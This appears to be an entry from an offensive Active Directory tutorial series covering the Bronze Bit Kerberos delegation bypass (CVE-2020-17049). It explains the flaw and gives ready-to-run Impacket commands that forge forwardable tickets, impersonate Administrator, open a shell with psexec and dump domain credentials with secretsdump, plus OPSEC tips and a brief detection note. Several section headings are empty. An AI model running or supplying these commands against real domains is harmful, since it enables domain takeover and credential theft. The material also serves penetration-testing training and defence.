🟠 Attack #18 — Bronze Bit Attack (CVE-2020-17049)

📖 How It Works

The Bronze Bit attack exploits CVE-2020-17049, a vulnerability in the Kerberos Constrained Delegation mechanism. It allows an attacker to bypass the “sensitive and cannot be delegated” account protection and the Protected Users group restriction — two controls specifically designed to prevent delegation-based impersonation attacks.

The Vulnerability

When a service account with Constrained Delegation performs S4U2Self to get a ticket on behalf of a protected user, the KDC correctly issues that ticket with the forwardable flag unset — preventing S4U2Proxy from working. However, the forwardable flag is stored inside the encrypted portion of the ticket, which is encrypted with the service account’s long-term key. Since the attacker already has the service account’s key (it’s a prerequisite for the attack), they can:

1. Decrypt the S4U2Self service ticket
2. Flip the forwardable bit from 0 to 1
3. Re-encrypt the ticket
4. Present it to the KDC in an S4U2Proxy request

The KDC sees the forwardable flag is set and processes the delegation request — without re-validating whether the user is actually protected.

Impact

⚙️ Prerequisites

🛠️ Tools

💻 Full Commands

🔴 Impacket — getST.py with Bronze Bit (Linux)

# ── Standard S4U attack (fails on protected users without Bronze Bit) ─────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  corp.local/svc_constrained:'Password1'
# Error: KDC_ERR_BADOPTION — user is sensitive / in Protected Users

# ── Bronze Bit bypass — force forwardable flag ────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/svc_constrained:'Password1'

# -force-forwardable = decrypts ticket, flips forwardable bit, re-encrypts
# Works even if Administrator is in Protected Users or marked "sensitive"

# ── Using NT hash ─────────────────────────────────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/svc_constrained

# ── Use the ticket ────────────────────────────────────────────────────────────
export KRB5CCNAME=Administrator@CIFS_DC01.corp.local@CORP.LOCAL.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local

# ── RBCD + Bronze Bit combo ───────────────────────────────────────────────────
# If you've set up RBCD (Attack #17) but the target user is protected:
getST.py -spn cifs/TARGET.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  -force-forwardable \
  corp.local/'FAKEMACHINE$':'FakePass123!'

🎯 OPSEC Tips

• Bronze Bit only matters on unpatched DCs — Microsoft patched this in late 2020/early 2021
• Always try standard S4U first — only use -force-forwardable if you get KDC_ERR_BADOPTION
• Check DC patch level — if the DC is patched, Bronze Bit will fail and you’ll need an alternative approach
• Bronze Bit + RBCD is a powerful combo — bypasses both the write-permission barrier and the protected-user barrier

🛡️ Detection — Event IDs

Primary detection: If a user marked “sensitive and cannot be delegated” or in the Protected Users group successfully authenticates via delegation (Event 4624 with constrained delegation indicators), that’s a Bronze Bit indicator. The DC should have rejected the delegation.

🔗 Attack Chain Context

[Bronze Bit] ──→ Delegation Protection Bypass
         │
         ├──→ 🔓 Bypasses "sensitive and cannot be delegated" flag
         ├──→ 🛡️ Bypasses Protected Users group delegation restriction
         ├──→ 🔗 Chain with: Constrained Delegation (#16), RBCD (#17)
         ├──→ 📋 CVE-2020-17049 — patched Dec 2020 / Jan 2021
         └──→ 💀 Defeated by: patch DCs, monitor for anomalous delegation events

✅ Attack #18 — Bronze Bit complete.

🏁 Category 2 — Kerberos Abuse is now COMPLETE (8/8 attacks).